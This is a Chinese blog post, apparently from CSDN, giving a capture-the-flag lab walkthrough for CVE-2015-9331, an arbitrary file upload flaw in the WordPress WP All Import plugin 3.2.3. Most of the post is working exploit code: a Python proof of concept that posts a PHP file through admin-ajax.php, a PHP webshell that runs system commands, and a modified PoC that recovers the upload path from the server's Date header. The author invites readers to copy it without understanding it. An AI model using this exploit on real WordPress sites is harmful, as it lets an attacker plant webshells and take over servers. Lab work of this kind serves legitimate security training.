【春秋云镜】CVE-2015-9331 必获取flag,来抄

文章描述了一款WordPress插件WPAllImportv3.2.3存在的安全漏洞,可通过任意文件上传植入shell脚本。攻击者利用POC上传恶意文件,并通过HTTP头信息获取文件上传时间,最后提供了一个修改后的POC示例。
摘要由CSDN通过智能技术生成

靶场简介

wordpress插件 WordPress WP All Import plugin v3.2.3 存在任意文件上传,可以上传shell。

网上公开的POC

#/usr/local/bin/python3

 -*-coding:utf-8-*-
 
import requests,os
site="URL"
file_to_upload ='shell.php'
up_req = requests.post('http://'+site+'/wp-admin/admin-ajax.php?page=pmxi-admin-settings&action=upload&name=evil.php',data=open(file_to_upload,'rb').read())
up_dir = os.popen('php -r "print md5(strtotime(\''+up_req.headers['date']+'\'));"').read()
print ("http://"+site+"/wp-content/uploads/wpallimport/uploads/"+up_dir+"/%s" % "evil.php")

shell.php内容:

<?php
system('cat /flag');phpinfo();
?>

其中

up_dir = os.popen('php -r "print md5(strtotime(\''+up_req.headers['date']+'\'));"').read()

这段代码是Python代码,其中使用了os.popen来执行一个命令行命令:
up_req.headers[‘date’]: 这是从up_req.headers字典中获取键为’date’的值。这很可能是HTTP请求的头部信息中的日期。
strtotime(‘’+up_req.headers[‘date’]+‘’): 这里使用了PHP的strtotime函数来将获取到的日期字符串转化为时间戳。
php -r “print md5(strtotime(‘’+up_req.headers[‘date’]+‘’));”: 这是一个PHP命令行指令,它会计算上述日期字符串的时间戳的MD5哈希值并打印出来。
os.popen(‘…’).read(): 使用Python的os.popen方法执行上述PHP命令,并读取其输出。

因为春秋云镜原因,为了让大家已学习为目的,修改了靶场上传
所以只允许以下文件上传
在这里插入图片描述

修改后的POC

上传webshel后,获取当前上传时间

import requests,os
import hashlib  
from datetime import datetime 
site="URL"
file_to_upload ='shell.zip'
up_req = requests.post('http://'+site+'/wp-admin/admin-ajax.php?page=pmxi-admin-settings&action=upload&name=evil.php',data=open(file_to_upload,'rb').read())
print(up_req.headers['date'])


在这里插入图片描述
使用在线PHP执行工具,生成时间戳

Wed, 31 Jan 2024 07:14:49 GMT
在这里插入图片描述
得到+8时的北京时间时间戳和他的MD5值。

(因为大部分人过不去的原因,我猜可能是因为自己的系统没有PHP的函数,所以无法执行脚本)

http://eci-2ze96rpujhdxmjrfyixm.cloudeci1.ichunqiu.com/wp-content/uploads/wpallimport/uploads/替换这里/evil.php
在这里插入图片描述

抄吧脚本小子,反正我也不知道原理。
关注都关注了,就别取消了。

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值